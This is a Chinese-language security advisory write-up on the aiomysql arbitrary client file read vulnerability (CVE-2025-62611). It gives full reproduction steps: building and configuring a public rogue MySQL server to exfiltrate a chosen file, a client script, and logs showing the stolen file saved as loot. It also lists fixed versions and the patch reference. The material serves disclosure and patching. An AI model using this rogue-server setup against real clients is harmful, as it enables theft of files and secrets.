aiomysql漏洞分析:恶意MySQL服务器可任意访问客户端文件

本文详细分析了aiomysql库中的高危漏洞CVE-2025-62611,该漏洞允许恶意MySQL服务器绕过客户端设置,通过LOAD_LOCAL指令任意读取客户端文件,包含完整的技术细节和复现步骤。

aiomysql漏洞分析:恶意MySQL服务器可任意访问客户端文件

漏洞概述

CVE-2025-62611是一个影响aiomysql库的高危安全漏洞,该漏洞存在于0.2.0及更早版本中。攻击者可以通过构造恶意的MySQL服务器,绕过客户端的local_infile设置限制,任意读取客户端文件系统中的文件。

技术细节

漏洞原理

aiomysql库在发送本地文件到MySQL服务器之前,未能正确检查客户端的安全设置。恶意MySQL服务器可以模拟授权过程,忽略客户端标志,并通过发送LOAD_LOCAL指令数据包来请求客户端的任意文件。

该漏洞与CVE-2019-2503相关,存在相似的安全问题。

漏洞复现步骤

搭建恶意MySQL服务器

  1. 创建待窃取的文件:
1
echo "gotcha" > /tmp/my_secret_file.txt
  1. 克隆并构建恶意服务器:
1
2
3
git clone git@github.com:rmb122/rogue_mysql_server.git
cd rogue_mysql_server
make rogue_mysql_server
  1. 配置服务器:
1
./rogue_mysql_server -generate

在生成的config.yaml文件中,将file_list修改为["/tmp/my_secret_file.txt"]

  1. 运行恶意服务器:
1
./rogue_mysql_server -config config.yaml

验证漏洞利用

使用以下Python脚本连接恶意服务器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import asyncio
import aiomysql

loop = asyncio.get_event_loop()

async def test_example():
    conn = await aiomysql.connect(
        host="127.0.0.1",
        port=3306,
        user="root",
        password="",
        db="mysql",
        loop=loop,
        local_infile=0,  # 显式禁止local_infile
    )
    
    cursor = await conn.cursor()
    await cursor.execute("SELECT 1")
    print(cursor.description)
    r = await cursor.fetchall()
    print(r)
    await cursor.close()
    conn.close()

loop.run_until_complete(test_example())

攻击效果

恶意服务器将输出以下日志信息,表明成功读取文件:

1
2
3
4
level=info msg="Client from addr [xxx], ID [1] try to query [select 1]"
level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]"
level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]"
level=info msg="Client leaved, Addr [xxx], ID [1]"

影响范围

受影响版本

  • aiomysql <= 0.2.0

已修复版本

  • aiomysql 0.3.0

受影响环境

该漏洞影响需要连接到不可信MySQL服务器的产品和环境,或者存在服务器被攻陷可能性的场景。

修复建议

可以通过移植PyMySQL的相关修复补丁来解决此问题:

  • 参考提交:PyMySQL/PyMySQL@b5e17ce

参考信息

  • GHSA ID: GHSA-r397-ff8c-wv2g
  • 相关链接:
    • aio-libs/aiomysql#1044
    • aio-libs/aiomysql@32c4520

安全评分

  • CVSS评分: 8.2(高危)
  • 弱点类型: CWE-73(外部控制的文件名或路径)

该漏洞允许攻击者在无需用户交互的情况下,通过网络远程利用,对受影响系统的机密性造成高度影响。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计